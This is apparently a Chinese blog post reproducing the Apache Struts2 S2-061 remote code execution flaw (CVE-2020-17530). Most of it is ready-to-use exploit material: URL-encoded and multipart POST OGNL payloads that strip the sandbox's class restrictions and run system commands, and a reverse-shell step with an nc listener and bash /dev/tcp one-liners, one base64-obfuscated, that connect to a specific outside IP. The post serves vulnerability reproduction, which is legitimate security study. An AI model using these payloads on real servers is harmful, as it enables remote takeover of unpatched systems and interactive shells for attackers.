【漏洞复现】Struts2系列

【漏洞复现】Struts2系列

  • [1. 了解Struts2](#1. 了解Struts2)
    • [1. Struts2 S2-061 RCE (CVE-2020-17530)](#1. Struts2 S2-061 RCE (CVE-2020-17530))
      • [1. 漏洞描述](#1. 漏洞描述)
      • [2. 影响版本](#2. 影响版本)
      • [3. 复现过程](#3. 复现过程)

1. 了解Struts2

Apache Struts2 是一个基于MVC设计模式的Web应用框架,会对某些标签属性(比如 id)的属性值进行二次表达式解析,因此在某些场景下将可能导致远程代码执行。

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。

1. Struts2 S2-061 RCE (CVE-2020-17530)

1. 漏洞描述

Apache Struts于2020年 12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,可能照成控制服务器等危害。S2-061是对S2-059沙盒进行的绕过

简单描述: 在特定的环境下,远程攻击者通过构造 恶意的OGNL表达式 ,可造成 任意代码执行

2. 影响版本

Apache Struts 2.0.0-2.5.25

3. 复现过程

PoC:

原始:%{ 'test' + (11 + 11).toString()}

url编码: ?id=%25%7b+%27test%27+%2b+(11+%2b+11).toString()%7d



漏洞利用:

方法一,可以看到执行相加,这里直接构造payload执行命令

原始:

java 复制代码
#application['org.apache.tomcat.InstanceManager']).(#potats0=#UnicodeSec.newInstance('org.apache.commons.collections.BeanMap')).(#stackvalue=#attr['struts.valueStack']).(#potats0.setBean(#stackvalue)).(#context=#potats0.get('context')).(#potats0.setBean(#context)).(#sm=#potats0.get('memberAccess')).(#emptySet=#UnicodeSec.newInstance('java.util.HashSet')).(#potats0.setBean(#sm)).(#potats0.put('excludedClasses',#emptySet)).(#potats0.put('excludedPackageNames',#emptySet)).(#exec=#UnicodeSec.newInstance('freemarker.template.utility.Execute')).(#cmd={'id'}).(#res=#exec.exec(#cmd))}

url编码:

java 复制代码
 ?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))}  

方法二,在首页使用burp抓包发送到重放模块,并修改成POST传输

java 复制代码
Content-Type: multipart/form-data;boundary=----WebKitFormBoundary5DQYTI1H
Content-Length: 817

------WebKitFormBoundary5DQYTI1H
Content-Disposition: form-data; name="id"


%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundary5DQYTI1H--

方法三,反弹shell

vps上执行监听:nc -lvnp 3333

受害者主机上执行任意一个就行:

bash -i >& /dev/tcp/101.42.37.85/9001 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDIuMzcuODUvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}

相关推荐
刘婉晴16 小时前
【kali渗透测试】暴力破解
网络安全·渗透测试
云小逸17 小时前
【网络通信】同一网段与不同网段的通信原理
网络·网络安全
heze091 天前
sqli-labs-Less-28a
数据库·mysql·网络安全
unable code1 天前
磁盘取证-Flying_High
网络安全·ctf·misc·1024程序员节·磁盘取证
浩浩测试一下1 天前
DDOS 应急响应Linux防火墙 Iptable 使用方式方法
linux·网络·安全·web安全·网络安全·系统安全·ddos
浩浩测试一下1 天前
洪水猛兽攻击 Ddos Dos cc Drdos floods区别
安全·web安全·网络安全·系统安全·wpf·可信计算技术·安全架构
Whoami!1 天前
⓫⁄₈ ⟦ OSCP ⬖ 研记 ⟧ Windows权限提升 ➱ 滥用Windows服务提权(下)
windows·网络安全·信息安全·powerup.ps1
安徽必海微马春梅_6688A1 天前
A实验:小动物无创血压系统 小动物无创血压分析系统 资料。
大数据·人工智能·网络安全·硬件工程·信号处理
啥都想学点1 天前
kali 基础介绍(Lateral Movement、Collection)
安全·网络安全
heze091 天前
sqli-labs-Less-28
数据库·mysql·网络安全